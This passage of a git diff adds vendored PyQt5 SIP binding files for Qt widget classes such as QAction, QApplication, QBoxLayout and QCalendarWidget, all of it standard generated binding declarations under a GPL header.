as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QAction : QObject +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_7_0 -) + explicit QAction(QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_7_0) + explicit QAction(QObject *parent /TransferThis/); +%End +%If (Qt_5_7_0 -) + QAction(const QString &text, QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_7_0) + QAction(const QString &text, QObject *parent /TransferThis/); +%End +%If (Qt_5_7_0 -) + QAction(const QIcon &icon, const QString &text, QObject *parent /TransferThis/ = 0); +%End +%If (- Qt_5_7_0) + QAction(const QIcon &icon, const QString &text, QObject *parent /TransferThis/); +%End + virtual ~QAction(); + void setActionGroup(QActionGroup *group /KeepReference/); + QActionGroup *actionGroup() const; + void setIcon(const QIcon &icon); + QIcon icon() const; + void setText(const QString &text); + QString text() const; + void setIconText(const QString &text); + QString iconText() const; + void setToolTip(const QString &tip); + QString toolTip() const; + void setStatusTip(const QString &statusTip); + QString statusTip() const; + void setWhatsThis(const QString &what); + QString whatsThis() const; + QMenu *menu() const; + void setMenu(QMenu *menu /KeepReference/); + void setSeparator(bool b); + bool isSeparator() const; + void setShortcut(const QKeySequence &shortcut); + QKeySequence shortcut() const; + void setShortcutContext(Qt::ShortcutContext context); + Qt::ShortcutContext shortcutContext() const; + void setFont(const QFont &font); + QFont font() const; + void setCheckable(bool); + bool isCheckable() const; + QVariant data() const; + void setData(const QVariant &var); + bool isChecked() const; + bool isEnabled() const; + bool isVisible() const; + + enum ActionEvent + { + Trigger, + Hover, + }; + + void activate(QAction::ActionEvent event); + bool showStatusText(QWidget *widget = 0); + QWidget *parentWidget() const; + +protected: + virtual bool event(QEvent *); + +public slots: + void trigger(); + void hover(); + void setChecked(bool); + void toggle(); + void setEnabled(bool); + void setDisabled(bool b); + void setVisible(bool); + +signals: + void changed(); + void triggered(bool checked = false); + void hovered(); + void toggled(bool); + +public: + enum MenuRole + { + NoRole, + TextHeuristicRole, + ApplicationSpecificRole, + AboutQtRole, + AboutRole, + PreferencesRole, + QuitRole, + }; + + void setShortcuts(const QList &shortcuts); + void setShortcuts(QKeySequence::StandardKey); + QList shortcuts() const; + void setAutoRepeat(bool); + bool autoRepeat() const; + void setMenuRole(QAction::MenuRole menuRole); + QAction::MenuRole menuRole() const; + QList associatedWidgets() const; + QList associatedGraphicsWidgets() const; + void setIconVisibleInMenu(bool visible); + bool isIconVisibleInMenu() const; + + enum Priority + { + LowPriority, + NormalPriority, + HighPriority, + }; + + void setPriority(QAction::Priority priority); + QAction::Priority priority() const; +%If (Qt_5_10_0 -) + void setShortcutVisibleInContextMenu(bool show); +%End +%If (Qt_5_10_0 -) + bool isShortcutVisibleInContextMenu() const; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qactiongroup.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qactiongroup.sip new file mode 100644 index 00000000..5fc43192 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qactiongroup.sip @@ -0,0 +1,74 @@ +// qactiongroup.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QActionGroup : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QActionGroup(QObject *parent /TransferThis/); + virtual ~QActionGroup(); + QAction *addAction(QAction *a /Transfer/); + QAction *addAction(const QString &text) /Transfer/; + QAction *addAction(const QIcon &icon, const QString &text) /Transfer/; + void removeAction(QAction *a /TransferBack/); + QList actions() const; + QAction *checkedAction() const; + bool isExclusive() const; + bool isEnabled() const; + bool isVisible() const; + +public slots: + void setEnabled(bool); + void setDisabled(bool b); + void setVisible(bool); + void setExclusive(bool); + +signals: + void triggered(QAction *); + void hovered(QAction *); + +public: +%If (Qt_5_14_0 -) + + enum class ExclusionPolicy + { + None /PyName=None_/, + Exclusive, + ExclusiveOptional, + }; + +%End +%If (Qt_5_14_0 -) + QActionGroup::ExclusionPolicy exclusionPolicy() const; +%End + +public slots: +%If (Qt_5_14_0 -) + void setExclusionPolicy(QActionGroup::ExclusionPolicy policy); +%End + +private: + QActionGroup(const QActionGroup &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qapplication.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qapplication.sip new file mode 100644 index 00000000..3f3a8964 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qapplication.sip @@ -0,0 +1,361 @@ +// qapplication.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +// QApplication *qApp +QApplication *qApp { +%AccessCode + // Qt implements this has a #define to a function call so we have to handle + // it like this. + return qApp; +%End +}; +typedef QList QWidgetList; + +class QApplication : QGuiApplication +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode + static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; + } graph[] = { + {sipName_QKeyEventTransition, &sipType_QKeyEventTransition, -1, 1}, + {sipName_QUndoStack, &sipType_QUndoStack, -1, 2}, + {sipName_QAbstractItemDelegate, &sipType_QAbstractItemDelegate, 26, 3}, + {sipName_QGraphicsTransform, &sipType_QGraphicsTransform, 28, 4}, + {sipName_QCompleter, &sipType_QCompleter, -1, 5}, + {sipName_QActionGroup, &sipType_QActionGroup, -1, 6}, + {sipName_QShortcut, &sipType_QShortcut, -1, 7}, + {sipName_QButtonGroup, &sipType_QButtonGroup, -1, 8}, + {sipName_QPlainTextDocumentLayout, &sipType_QPlainTextDocumentLayout, -1, 9}, + {sipName_QGraphicsAnchor, &sipType_QGraphicsAnchor, -1, 10}, + {sipName_QFileSystemModel, &sipType_QFileSystemModel, -1, 11}, + {sipName_QGesture, &sipType_QGesture, 30, 12}, + {sipName_QApplication, &sipType_QApplication, -1, 13}, + {sipName_QLayout, &sipType_QLayout, 35, 14}, + {sipName_QDirModel, &sipType_QDirModel, -1, 15}, + {sipName_QDataWidgetMapper, &sipType_QDataWidgetMapper, -1, 16}, + {sipName_QGraphicsObject, &sipType_QGraphicsObject, 41, 17}, + {sipName_QScroller, &sipType_QScroller, -1, 18}, + {sipName_QGraphicsScene, &sipType_QGraphicsScene, -1, 19}, + {sipName_QUndoGroup, &sipType_QUndoGroup, -1, 20}, + {sipName_QMouseEventTransition, &sipType_QMouseEventTransition, -1, 21}, + {sipName_QGraphicsEffect, &sipType_QGraphicsEffect, 44, 22}, + {sipName_QWidget, &sipType_QWidget, 48, 23}, + {sipName_QStyle, &sipType_QStyle, 122, 24}, + {sipName_QAction, &sipType_QAction, 124, 25}, + {sipName_QSystemTrayIcon, &sipType_QSystemTrayIcon, -1, -1}, + {sipName_QStyledItemDelegate, &sipType_QStyledItemDelegate, -1, 27}, + {sipName_QItemDelegate, &sipType_QItemDelegate, -1, -1}, + {sipName_QGraphicsRotation, &sipType_QGraphicsRotation, -1, 29}, + {sipName_QGraphicsScale, &sipType_QGraphicsScale, -1, -1}, + {sipName_QSwipeGesture, &sipType_QSwipeGesture, -1, 31}, + {sipName_QTapGesture, &sipType_QTapGesture, -1, 32}, + {sipName_QPanGesture, &sipType_QPanGesture, -1, 33}, + {sipName_QPinchGesture, &sipType_QPinchGesture, -1, 34}, + {sipName_QTapAndHoldGesture, &sipType_QTapAndHoldGesture, -1, -1}, + {sipName_QStackedLayout, &sipType_QStackedLayout, -1, 36}, + {sipName_QFormLayout, &sipType_QFormLayout, -1, 37}, + {sipName_QBoxLayout, &sipType_QBoxLayout, 39, 38}, + {sipName_QGridLayout, &sipType_QGridLayout, -1, -1}, + {sipName_QVBoxLayout, &sipType_QVBoxLayout, -1, 40}, + {sipName_QHBoxLayout, &sipType_QHBoxLayout, -1, -1}, + {sipName_QGraphicsWidget, &sipType_QGraphicsWidget, 43, 42}, + {sipName_QGraphicsTextItem, &sipType_QGraphicsTextItem, -1, -1}, + {sipName_QGraphicsProxyWidget, &sipType_QGraphicsProxyWidget, -1, -1}, + {sipName_QGraphicsBlurEffect, &sipType_QGraphicsBlurEffect, -1, 45}, + {sipName_QGraphicsColorizeEffect, &sipType_QGraphicsColorizeEffect, -1, 46}, + {sipName_QGraphicsDropShadowEffect, &sipType_QGraphicsDropShadowEffect, -1, 47}, + {sipName_QGraphicsOpacityEffect, &sipType_QGraphicsOpacityEffect, -1, -1}, + {sipName_QDockWidget, &sipType_QDockWidget, -1, 49}, + {sipName_QProgressBar, &sipType_QProgressBar, -1, 50}, + #if QT_VERSION >= 0x050400 && defined(SIP_FEATURE_PyQt_OpenGL) + {sipName_QOpenGLWidget, &sipType_QOpenGLWidget, -1, 51}, + #else + {0, 0, -1, 51}, + #endif + {sipName_QAbstractButton, &sipType_QAbstractButton, 78, 52}, + {sipName_QSplashScreen, &sipType_QSplashScreen, -1, 53}, + {sipName_QMenuBar, &sipType_QMenuBar, -1, 54}, + {sipName_QStatusBar, &sipType_QStatusBar, -1, 55}, + {sipName_QMenu, &sipType_QMenu, -1, 56}, + {sipName_QMdiSubWindow, &sipType_QMdiSubWindow, -1, 57}, + {sipName_QTabWidget, &sipType_QTabWidget, -1, 58}, + #if defined(Q_OS_MAC) && defined(SIP_FEATURE_PyQt_MacOSXOnly) + {sipName_QMacCocoaViewContainer, &sipType_QMacCocoaViewContainer, -1, 59}, + #else + {0, 0, -1, 59}, + #endif + {sipName_QLineEdit, &sipType_QLineEdit, -1, 60}, + {sipName_QFrame, &sipType_QFrame, 83, 61}, + {sipName_QComboBox, &sipType_QComboBox, 105, 62}, + {sipName_QRubberBand, &sipType_QRubberBand, -1, 63}, + {sipName_QAbstractSpinBox, &sipType_QAbstractSpinBox, 106, 64}, + {sipName_QDialog, &sipType_QDialog, 111, 65}, + #if QT_VERSION >= 0x050200 + {sipName_QKeySequenceEdit, &sipType_QKeySequenceEdit, -1, 66}, + #else + {0, 0, -1, 66}, + #endif + {sipName_QAbstractSlider, &sipType_QAbstractSlider, 119, 67}, + {sipName_QWizardPage, &sipType_QWizardPage, -1, 68}, + {sipName_QDesktopWidget, &sipType_QDesktopWidget, -1, 69}, + {sipName_QDialogButtonBox, &sipType_QDialogButtonBox, -1, 70}, + {sipName_QToolBar, &sipType_QToolBar, -1, 71}, + {sipName_QSizeGrip, &sipType_QSizeGrip, -1, 72}, + {sipName_QSplitterHandle, &sipType_QSplitterHandle, -1, 73}, + {sipName_QTabBar, &sipType_QTabBar, -1, 74}, + {sipName_QGroupBox, &sipType_QGroupBox, -1, 75}, + {sipName_QMainWindow, &sipType_QMainWindow, -1, 76}, + {sipName_QCalendarWidget, &sipType_QCalendarWidget, -1, 77}, + {sipName_QFocusFrame, &sipType_QFocusFrame, -1, -1}, + {sipName_QCheckBox, &sipType_QCheckBox, -1, 79}, + {sipName_QRadioButton, &sipType_QRadioButton, -1, 80}, + {sipName_QPushButton, &sipType_QPushButton, 82, 81}, + {sipName_QToolButton, &sipType_QToolButton, -1, -1}, + {sipName_QCommandLinkButton, &sipType_QCommandLinkButton, -1, -1}, + {sipName_QAbstractScrollArea, &sipType_QAbstractScrollArea, 89, 84}, + {sipName_QToolBox, &sipType_QToolBox, -1, 85}, + {sipName_QSplitter, &sipType_QSplitter, -1, 86}, + {sipName_QStackedWidget, &sipType_QStackedWidget, -1, 87}, + {sipName_QLabel, &sipType_QLabel, -1, 88}, + {sipName_QLCDNumber, &sipType_QLCDNumber, -1, -1}, + {sipName_QScrollArea, &sipType_QScrollArea, -1, 90}, + {sipName_QPlainTextEdit, &sipType_QPlainTextEdit, -1, 91}, + {sipName_QGraphicsView, &sipType_QGraphicsView, -1, 92}, + {sipName_QAbstractItemView, &sipType_QAbstractItemView, 95, 93}, + {sipName_QTextEdit, &sipType_QTextEdit, 104, 94}, + {sipName_QMdiArea, &sipType_QMdiArea, -1, -1}, + {sipName_QHeaderView, &sipType_QHeaderView, -1, 96}, + {sipName_QTableView, &sipType_QTableView, 100, 97}, + {sipName_QListView, &sipType_QListView, 101, 98}, + {sipName_QTreeView, &sipType_QTreeView, 103, 99}, + {sipName_QColumnView, &sipType_QColumnView, -1, -1}, + {sipName_QTableWidget, &sipType_QTableWidget, -1, -1}, + {sipName_QListWidget, &sipType_QListWidget, -1, 102}, + {sipName_QUndoView, &sipType_QUndoView, -1, -1}, + {sipName_QTreeWidget, &sipType_QTreeWidget, -1, -1}, + {sipName_QTextBrowser, &sipType_QTextBrowser, -1, -1}, + {sipName_QFontComboBox, &sipType_QFontComboBox, -1, -1}, + {sipName_QDateTimeEdit, &sipType_QDateTimeEdit, 109, 107}, + {sipName_QSpinBox, &sipType_QSpinBox, -1, 108}, + {sipName_QDoubleSpinBox, &sipType_QDoubleSpinBox, -1, -1}, + {sipName_QDateEdit, &sipType_QDateEdit, -1, 110}, + {sipName_QTimeEdit, &sipType_QTimeEdit, -1, -1}, + {sipName_QFontDialog, &sipType_QFontDialog, -1, 112}, + {sipName_QErrorMessage, &sipType_QErrorMessage, -1, 113}, + {sipName_QMessageBox, &sipType_QMessageBox, -1, 114}, + {sipName_QProgressDialog, &sipType_QProgressDialog, -1, 115}, + {sipName_QColorDialog, &sipType_QColorDialog, -1, 116}, + {sipName_QFileDialog, &sipType_QFileDialog, -1, 117}, + {sipName_QInputDialog, &sipType_QInputDialog, -1, 118}, + {sipName_QWizard, &sipType_QWizard, -1, -1}, + {sipName_QDial, &sipType_QDial, -1, 120}, + {sipName_QScrollBar, &sipType_QScrollBar, -1, 121}, + {sipName_QSlider, &sipType_QSlider, -1, -1}, + {sipName_QCommonStyle, &sipType_QCommonStyle, 123, -1}, + {sipName_QProxyStyle, &sipType_QProxyStyle, -1, -1}, + {sipName_QWidgetAction, &sipType_QWidgetAction, -1, -1}, + }; + + int i = 0; + + sipType = NULL; + + do + { + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; + } + while (i >= 0); +%End + +public: + QApplication(SIP_PYLIST argv /TypeHint="List[str]"/) /PostHook=__pyQtQAppHook__/ [(int &argc, char **argv, int = ApplicationFlags)]; +%MethodCode + // The Python interface is a list of argument strings that is modified. + + int argc; + char **argv; + + // Convert the list. + if ((argv = pyqt5_qtwidgets_from_argv_list(a0, argc)) == NULL) + sipIsErr = 1; + else + { + // Create it now the arguments are right. + static int nargc; + nargc = argc; + + Py_BEGIN_ALLOW_THREADS + sipCpp = new sipQApplication(nargc, argv, QCoreApplication::ApplicationFlags); + Py_END_ALLOW_THREADS + + // Now modify the original list. + pyqt5_qtwidgets_update_argv_list(a0, argc, argv); + } +%End + + virtual ~QApplication() /ReleaseGIL/; +%MethodCode + pyqt5_qtwidgets_cleanup_qobjects(); +%End + + static QStyle *style(); + static void setStyle(QStyle * /Transfer/); + static QStyle *setStyle(const QString &); + + enum ColorSpec + { + NormalColor, + CustomColor, + ManyColor, + }; + + static int colorSpec(); + static void setColorSpec(int); + static QPalette palette(); + static QPalette palette(const QWidget *); + static QPalette palette(const char *className); + static void setPalette(const QPalette &, const char *className = 0); + static QFont font(); + static QFont font(const QWidget *); + static QFont font(const char *className); + static void setFont(const QFont &, const char *className = 0); + static QFontMetrics fontMetrics(); + static void setWindowIcon(const QIcon &icon); + static QIcon windowIcon(); + static QWidgetList allWidgets(); + static QWidgetList topLevelWidgets(); + static QDesktopWidget *desktop(); + static QWidget *activePopupWidget(); + static QWidget *activeModalWidget(); + static QWidget *focusWidget(); + static QWidget *activeWindow(); + static void setActiveWindow(QWidget *act); + static QWidget *widgetAt(const QPoint &p); + static QWidget *widgetAt(int x, int y); + static QWidget *topLevelAt(const QPoint &p); + static QWidget *topLevelAt(int x, int y); + static void beep(); + static void alert(QWidget *widget, int msecs = 0) /ReleaseGIL/; + static void setCursorFlashTime(int); + static int cursorFlashTime(); + static void setDoubleClickInterval(int); + static int doubleClickInterval(); + static void setKeyboardInputInterval(int); + static int keyboardInputInterval(); + static void setWheelScrollLines(int); + static int wheelScrollLines(); + static void setGlobalStrut(const QSize &); + static QSize globalStrut(); + static void setStartDragTime(int ms); + static int startDragTime(); + static void setStartDragDistance(int l); + static int startDragDistance(); + static bool isEffectEnabled(Qt::UIEffect); + static void setEffectEnabled(Qt::UIEffect, bool enabled = true); + static int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,PyName=exec_,ReleaseGIL/; +%If (Py_v3) + static int exec() /PostHook=__pyQtPostEventLoopHook__,PreHook=__pyQtPreEventLoopHook__,ReleaseGIL/; +%End + virtual bool notify(QObject *, QEvent *) /ReleaseGIL/; + bool autoSipEnabled() const; + QString styleSheet() const; + +signals: + void focusChanged(QWidget *old, QWidget *now); + +public slots: + static void aboutQt(); + static void closeAllWindows(); + void setAutoSipEnabled(const bool enabled); + void setStyleSheet(const QString &sheet); + +protected: + virtual bool event(QEvent *); +}; + +%ModuleHeaderCode +// Imports from QtCore. +typedef void (*pyqt5_qtwidgets_cleanup_qobjects_t)(); +extern pyqt5_qtwidgets_cleanup_qobjects_t pyqt5_qtwidgets_cleanup_qobjects; + +typedef char **(*pyqt5_qtwidgets_from_argv_list_t)(PyObject *, int &); +extern pyqt5_qtwidgets_from_argv_list_t pyqt5_qtwidgets_from_argv_list; + +typedef sipErrorState (*pyqt5_qtwidgets_get_connection_parts_t)(PyObject *, QObject *, const char *, bool, QObject **, QByteArray &); +extern pyqt5_qtwidgets_get_connection_parts_t pyqt5_qtwidgets_get_connection_parts; + +typedef sipErrorState (*pyqt5_qtwidgets_get_signal_signature_t)(PyObject *, QObject *, QByteArray &); +extern pyqt5_qtwidgets_get_signal_signature_t pyqt5_qtwidgets_get_signal_signature; + +typedef void (*pyqt5_qtwidgets_update_argv_list_t)(PyObject *, int, char **); +extern pyqt5_qtwidgets_update_argv_list_t pyqt5_qtwidgets_update_argv_list; + +// This is needed for Qt v5.0.0. +#if defined(B0) +#undef B0 +#endif +%End + +%ModuleCode +#include "qpywidgets_api.h" + +// Imports from QtCore. +pyqt5_qtwidgets_cleanup_qobjects_t pyqt5_qtwidgets_cleanup_qobjects; +pyqt5_qtwidgets_from_argv_list_t pyqt5_qtwidgets_from_argv_list; +pyqt5_qtwidgets_get_connection_parts_t pyqt5_qtwidgets_get_connection_parts; +pyqt5_qtwidgets_get_signal_signature_t pyqt5_qtwidgets_get_signal_signature; +pyqt5_qtwidgets_update_argv_list_t pyqt5_qtwidgets_update_argv_list; +%End + +%PostInitialisationCode +// Imports from QtCore. +pyqt5_qtwidgets_cleanup_qobjects = (pyqt5_qtwidgets_cleanup_qobjects_t)sipImportSymbol("pyqt5_cleanup_qobjects"); +Q_ASSERT(pyqt5_qtwidgets_cleanup_qobjects); + +pyqt5_qtwidgets_from_argv_list = (pyqt5_qtwidgets_from_argv_list_t)sipImportSymbol("pyqt5_from_argv_list"); +Q_ASSERT(pyqt5_qtwidgets_from_argv_list); + +pyqt5_qtwidgets_get_connection_parts = (pyqt5_qtwidgets_get_connection_parts_t)sipImportSymbol("pyqt5_get_connection_parts"); +Q_ASSERT(pyqt5_qtwidgets_get_connection_parts); + +pyqt5_qtwidgets_get_signal_signature = (pyqt5_qtwidgets_get_signal_signature_t)sipImportSymbol("pyqt5_get_signal_signature"); +Q_ASSERT(pyqt5_qtwidgets_get_signal_signature); + +pyqt5_qtwidgets_update_argv_list = (pyqt5_qtwidgets_update_argv_list_t)sipImportSymbol("pyqt5_update_argv_list"); +Q_ASSERT(pyqt5_qtwidgets_update_argv_list); + +qpywidgets_post_init(); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qboxlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qboxlayout.sip new file mode 100644 index 00000000..e53a0032 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qboxlayout.sip @@ -0,0 +1,145 @@ +// qboxlayout.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QBoxLayout : QLayout +{ +%TypeHeaderCode +#include +%End + +public: + enum Direction + { + LeftToRight, + RightToLeft, + TopToBottom, + BottomToTop, + Down, + Up, + }; + + QBoxLayout(QBoxLayout::Direction direction, QWidget *parent /TransferThis/ = 0); + virtual ~QBoxLayout(); + QBoxLayout::Direction direction() const; + void setDirection(QBoxLayout::Direction); + void addSpacing(int size); + void addStretch(int stretch = 0); + void addWidget(QWidget * /GetWrapper/, int stretch = 0, Qt::Alignment alignment = Qt::Alignment()); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->addWidget(a0, a1, *a2); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a0Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows addWidget(QWidget()). + sipTransferTo(a0Wrapper, sipSelf); + } +%End + + void addLayout(QLayout *layout /Transfer/, int stretch = 0); + void addStrut(int); + virtual void addItem(QLayoutItem * /Transfer/); + void insertSpacing(int index, int size); + void insertStretch(int index, int stretch = 0); + void insertWidget(int index, QWidget *widget /GetWrapper/, int stretch = 0, Qt::Alignment alignment = Qt::Alignment()); +%MethodCode + Py_BEGIN_ALLOW_THREADS + sipCpp->insertWidget(a0, a1, a2, *a3); + Py_END_ALLOW_THREADS + + // The layout's parent widget (if there is one) will now have ownership. + QWidget *parent = sipCpp->parentWidget(); + + if (parent) + { + PyObject *py_parent = sipGetPyObject(parent, sipType_QWidget); + + if (py_parent) + sipTransferTo(a1Wrapper, py_parent); + } + else + { + // For now give the Python ownership to the layout. This maintains + // compatibility with previous versions and allows insertWidget(QWidget()). + sipTransferTo(a1Wrapper, sipSelf); + } +%End + + void insertLayout(int index, QLayout *layout /Transfer/, int stretch = 0); + bool setStretchFactor(QWidget *w, int stretch); + bool setStretchFactor(QLayout *l, int stretch); + virtual QSize sizeHint() const; + virtual QSize minimumSize() const; + virtual QSize maximumSize() const; + virtual bool hasHeightForWidth() const; + virtual int heightForWidth(int) const; + virtual int minimumHeightForWidth(int) const; + virtual Qt::Orientations expandingDirections() const; + virtual void invalidate(); + virtual QLayoutItem *itemAt(int) const; + virtual QLayoutItem *takeAt(int) /TransferBack/; + virtual int count() const; + virtual void setGeometry(const QRect &); + int spacing() const; + void setSpacing(int spacing); + void addSpacerItem(QSpacerItem *spacerItem /Transfer/); + void insertSpacerItem(int index, QSpacerItem *spacerItem /Transfer/); + void setStretch(int index, int stretch); + int stretch(int index) const; + void insertItem(int index, QLayoutItem * /TransferThis/); +}; + +class QHBoxLayout : QBoxLayout +{ +%TypeHeaderCode +#include +%End + +public: + QHBoxLayout(); + explicit QHBoxLayout(QWidget *parent /TransferThis/); + virtual ~QHBoxLayout(); +}; + +class QVBoxLayout : QBoxLayout +{ +%TypeHeaderCode +#include +%End + +public: + QVBoxLayout(); + explicit QVBoxLayout(QWidget *parent /TransferThis/); + virtual ~QVBoxLayout(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qbuttongroup.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qbuttongroup.sip new file mode 100644 index 00000000..a647a4c0 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qbuttongroup.sip @@ -0,0 +1,68 @@ +// qbuttongroup.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QButtonGroup : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QButtonGroup(QObject *parent /TransferThis/ = 0); + virtual ~QButtonGroup(); + void setExclusive(bool); + bool exclusive() const; + void addButton(QAbstractButton *, int id = -1); + void removeButton(QAbstractButton *); + QList buttons() const; + QAbstractButton *button(int id) const; + QAbstractButton *checkedButton() const; + void setId(QAbstractButton *button, int id); + int id(QAbstractButton *button) const; + int checkedId() const; + +signals: + void buttonClicked(QAbstractButton *); + void buttonClicked(int); + void buttonPressed(QAbstractButton *); + void buttonPressed(int); + void buttonReleased(QAbstractButton *); + void buttonReleased(int); +%If (Qt_5_2_0 -) + void buttonToggled(QAbstractButton *, bool); +%End +%If (Qt_5_2_0 -) + void buttonToggled(int, bool); +%End +%If (Qt_5_15_0 -) + void idClicked(int); +%End +%If (Qt_5_15_0 -) + void idPressed(int); +%End +%If (Qt_5_15_0 -) + void idReleased(int); +%End +%If (Qt_5_15_0 -) + void idToggled(int, bool); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcalendarwidget.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcalendarwidget.sip new file mode 100644 index 00000000..33527ceb --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWidgets/qcalendarwidget.sip @@ -0,0 +1,123 @@ +// qcalendarwidget.sip generated by MetaSIP +// +// This file is part of the QtWidgets Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QCalendarWidget : QWidget +{ +%TypeHeaderCode +#include +%End + +public: + enum HorizontalHeaderFormat + { + NoHorizontalHeader, + SingleLetterDayNames, + ShortDayNames, + LongDayNames, + }; + + enum VerticalHeaderFormat + { + NoVerticalHeader, + ISOWeekNumbers, + }; + + enum SelectionMode + { + NoSelection, + SingleSelection, + }; + + explicit QCalendarWidget(QWidget *parent /TransferThis/ = 0); + virtual ~QCalendarWidget(); + virtual QSize sizeHint() const; + virtual QSize minimumSizeHint() const; + QDate selectedDate() const; + int yearShown() const; + int monthShown() const; + QDate minimumDate() const; + void setMinimumDate(const QDate &date); + QDate maximumDate() const; + void setMaximumDate(const QDate &date); + Qt::DayOfWeek firstDayOfWeek() const; + void setFirstDayOfWeek(Qt::DayOfWeek dayOfWeek); + bool isGridVisible() const; + void setGridVisible(bool show); + QCalendarWidget::SelectionMode selectionMode() const; + void setSelectionMode(QCalendarWidget::SelectionMode mode); + QCalendarWidget::HorizontalHeaderFormat horizontalHeaderFormat() const; + void setHorizontalHeaderFormat(QCalendarWidget::HorizontalHeaderFormat format); + QCalendarWidget::VerticalHeaderFormat 